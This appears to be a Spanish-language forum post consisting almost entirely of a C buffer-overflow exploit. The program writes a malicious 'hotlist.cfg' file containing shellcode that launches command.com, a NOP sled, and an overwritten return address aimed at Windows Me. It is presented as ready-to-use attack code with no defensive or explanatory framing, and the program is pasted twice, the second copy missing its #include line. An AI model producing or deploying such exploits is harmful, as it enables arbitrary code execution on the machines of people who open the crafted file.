Código:
#include <stdio.h>
#define archivo "hotlist.cfg"
#define NOP 0x90
int main() {
FILE *f;
char s[533]= "\x01\x00\x00\x00\x0C\x02\x00\x00\x4D"
"\x69\x72\x61\x20\x6D\x69\x73\x20\x61"
"\x72\x63\x68\x69\x76\x6F\x73"
"\x090\x090\x090\x090"; //cabecera + usuario
char ExecCommand[]= "\xEB\x10\x59\x33\xC0\x88\x41\x0B\xB8\xF4"
"\x13\xF9\xBF\x6A\x01\x51\xFF\xD0\xE8\xEB"
"\xFF\xFF\xFF\x63\x6F\x6D\x6D\x61\x6E\x64"
"\x2E\x63\x6F\x6D";
char eip[]= "\x5B\xE1\x8D\x00"; //WinMe
memcpy(&s[29],ExecCommand,sizeof(ExecCommand));
memset(&s[63],NOP,466);
memcpy(&s[528],eip,sizeof(eip));
f=fopen(archivo,"wb");
if (f==NULL) {
printf("No se pudo crear el archivo\n");
exit(0);
}
fwrite(s,1,sizeof(s)-1,f);
fclose(f);
return 0;
}
#define archivo "hotlist.cfg"
#define NOP 0x90
int main() {
FILE *f;
char s[533]= "\x01\x00\x00\x00\x0C\x02\x00\x00\x4D"
"\x69\x72\x61\x20\x6D\x69\x73\x20\x61"
"\x72\x63\x68\x69\x76\x6F\x73"
"\x090\x090\x090\x090"; //cabecera + usuario
char ExecCommand[]= "\xEB\x10\x59\x33\xC0\x88\x41\x0B\xB8\xF4"
"\x13\xF9\xBF\x6A\x01\x51\xFF\xD0\xE8\xEB"
"\xFF\xFF\xFF\x63\x6F\x6D\x6D\x61\x6E\x64"
"\x2E\x63\x6F\x6D";
char eip[]= "\x5B\xE1\x8D\x00"; //WinMe
memcpy(&s[29],ExecCommand,sizeof(ExecCommand));
memset(&s[63],NOP,466);
memcpy(&s[528],eip,sizeof(eip));
f=fopen(archivo,"wb");
if (f==NULL) {
printf("No se pudo crear el archivo\n");
exit(0);
}
fwrite(s,1,sizeof(s)-1,f);
fclose(f);
return 0;
}










Autor


En línea
